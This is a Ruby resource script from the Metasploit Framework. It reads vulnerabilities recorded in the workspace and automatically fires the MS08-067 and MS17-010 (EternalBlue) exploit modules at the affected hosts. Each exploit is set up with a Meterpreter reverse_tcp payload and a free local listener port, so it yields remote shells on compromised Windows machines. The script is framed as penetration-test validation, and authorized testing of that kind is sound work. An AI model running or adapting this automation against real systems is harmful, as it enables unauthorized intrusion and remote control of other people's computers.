scripts/resource/smb_validate.rc - master - githubmirror/metasploit-framework

scripts/resource/smb_validate.rc
157 строк4 KB
Pearce Barry
Method typo fix.
25 окт 2017, 15:06
25 окт 2017, 15:06c4c093b
<ruby>

#
# This resource script will attempt to exploit the following vulnerabilities:
#
#   * MS08-067
#   * MS17-010
#
# It works best if you can pair it with the smb_checks.rc script.
#
# Author:
# sinn3r
#

@job_ids = []

def wait_until_jobs_done
    while true
        @job_ids.each do |job_id|
            current_job_ids = framework.jobs.keys.map { |e| e.to_i }
            sleep 1 if current_job_ids.include?(job_id)
        end

        return
    end
end

def ms08_067_netapi_mod
    framework.exploits.create('windows/smb/ms08_067_netapi')
end

def ms17_010_mod
    framework.exploits.create('windows/smb/ms17_010_eternalblue')
end

def is_port_open?(port)
    begin
        sock = Socket.new(Socket::Constants::AF_INET, Socket::Constants::SOCK_STREAM, 0)
        sock.bind(Socket.pack_sockaddr_in(port, get_lhost))
    rescue
        return false
    ensure
        sock.close if sock && sock.kind_of?(Socket)
    end

    true
end

def get_x86_meterpreter_port
    port_range = (4000..65535)
    port_range.each do |port|
        return port if is_port_open?(port)
    end

    raise RuntimeError, 'Unable to find a meterpreter port'
end

def get_x64_meterpreter_port
    port_range = (3000..65535)
    port_range.each do |port|
        return port if is_port_open?(port)
    end

    raise RuntimeError, 'Unable to find a meterpreter port'
end

def get_x86_payload_name
    'windows/meterpreter/reverse_tcp'
end

def get_x64_payload_name
    'windows/x64/meterpreter/reverse_tcp'
end

def get_lhost
    framework.datastore['LHOST']
end

def validate_ms08_067(vuln)
    mod = ms08_067_netapi_mod
    mod.datastore['RHOST'] = vuln.host.address
    mod.datastore['RPORT'] = vuln.service ? vuln.service.port : 445
    mod.datastore['PAYLOAD'] = get_x86_payload_name
    mod.datastore['LHOST'] = get_lhost
    mod.datastore['LPORT'] = get_x86_meterpreter_port
    print_status("Validating MS08-067 on #{mod.datastore['RHOST']}:#{mod.datastore['RPORT']} with #{mod.datastore['PAYLOAD']} on port #{mod.datastore['LPORT']}")
    begin
        mod.exploit_simple({
            'LocalOutput' => self.output,
            'RunAsJob' => true,
            'Payload' => get_x86_payload_name
        })
        @job_ids << mod.job_id
    rescue ::Exception => e
        print_error(e.message)
    end
end

def validate_ms17_010(vuln)
    mod = ms17_010_mod
    mod.datastore['RHOST'] = vuln.host.address
    mod.datastore['RPORT'] = vuln.service ? vuln.service.port : 445
    mod.datastore['PAYLOAD'] = get_x64_payload_name
    mod.datastore['LHOST'] = get_lhost
    mod.datastore['LPORT'] = get_x64_meterpreter_port
    print_status("Validating MS17-010 on #{mod.datastore['RHOST']}:#{mod.datastore['RPORT']} with #{mod.datastore['PAYLOAD']} on port #{mod.datastore['LPORT']}")
    begin
        mod.exploit_simple({
            'LocalOutput' => self.output,
            'RunAsJob' => true,
            'Payload' => get_x64_payload_name
        })
        @job_ids << mod.job_id
    rescue ::Exception => e
        print_error(e.message)
    end
end

def is_smb?(host, serv)
    return false unless serv.host
    return false if serv.state != Msf::ServiceState::Open
    return false if serv.port != 445
    true
end

def do_validation
    framework.db.workspace.vulns.each do |vuln|
        case vuln.name
        when /MS17\-010/i
            validate_ms17_010(vuln)
        when /MS08\-067/i
            validate_ms08_067(vuln)
        end
    end
end

def setup
    run_single("setg verbose true")
end

def main
    if framework.datastore['LHOST']
        print_status('Performing validation...')
        begin
            do_validation
            wait_until_jobs_done
        rescue RuntimeError => e
            print_error(e.message)
            print_error("Unable to do validation")
        end
    end
end

setup
main

</ruby>